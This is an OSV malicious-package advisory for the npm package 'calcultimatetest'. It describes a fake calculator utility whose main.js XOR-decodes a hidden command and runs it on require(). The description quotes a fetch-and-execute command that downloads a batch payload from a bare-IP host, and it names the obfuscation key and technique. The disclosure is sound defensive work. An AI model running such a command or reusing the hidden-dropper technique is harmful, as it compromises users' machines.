MAL-2026-20192

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/calcultimatetest/MAL-2026-20192.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-20192
Published
2026-11-19T06:54:11Z
Modified
2026-11-19T07:15:08Z
Summary
Malicious code in calcultimatetest (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c22f8e10fa4d1483bc6841cfa7a171217dbbfbc9a98d13f405e2061afe053ac8)

The package is advertised as a calculator utility but main.js, which runs when the module is required, implements a staged remote-execution dropper. On load it reads a hex 'signature' field from package.json and XOR-decodes it using the key 'theskyisbeautiful' stored in config.json. The decoded string resolves to a shell command of the form 'EXEC_MODE=1; curl -fSL http://65.109.171.171/baseball.bat && cmd /c start /b...' — a bare-IP, plain-HTTP fetch-and-execute of a Windows batch payload. main.js checks whether the decoded string contains 'EXEC_MODE' and then invokes child_process.exec through a random 0–5 second setTimeout. In the currently published version the exec target is swapped to a benign 'echo render-init-ok' string, but the decoder, the gate, the exec wiring, and the attacker-controlled URL are all present and reachable on require(). main.js also rewrites the installed package.json to insert a sha256-derived 'signature' value when none is present, giving the signature-gated payload mechanism a persistence/tamper surface inside the installed artifact. The package otherwise ships only a Mandelbrot busy-loop as cover functionality, with no legitimate use for hex-encoded shell commands, XOR-decoded exec paths, or bare-IP HTTP downloads of.bat files.

Database specific
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-022870",
            "import_time":  "2026-11-19T07:12:43.221568649Z",
            "modified_time":  "2026-11-19T06:54:11Z",
            "sha256":  "c22f8e10fa4d1483bc6841cfa7a171217dbbfbc9a98d13f405e2061afe053ac8",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / calcultimatetest

Package

Name
calcultimatetest
View open source insights on deps.dev
Purl
pkg:npm/calcultimatetest

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "74888a760d409db196e2f57f689d38fb2479ff10743db19433c8f3079f0f8708",
            "tlsh":  "58f00278ce115ca309c94e632c00920a123158cb032cb5082316031e975e16659fe10d"
        },
        {
            "path":  "main.js",
            "sha256":  "13f8c581c9f509d90db8b86fd9dd37a6a994a7f36efc2ed6ecda78f7f67a8b85",
            "tlsh":  "7541f0ca29f734204357687a4b8b910a6746a5033109dd58be4dc3cd7f96128cae37ea"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "calcultimatetest-1.0.0.tgz",
            "hashes":  {
                "sha1":  "fdf98b2766302b0aad59fc74123cd21ee773b036",
                "sha512_sri":  "sha512-q6W48wL0yq4pUQATj8Pnrzdr2Png2/9xigJqos2aGOTiOxl8A+T6tixrulYm68cYII0XWhpBc1JEnkKOL3BDoA=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/calcultimatetest/MAL-2026-20192.json"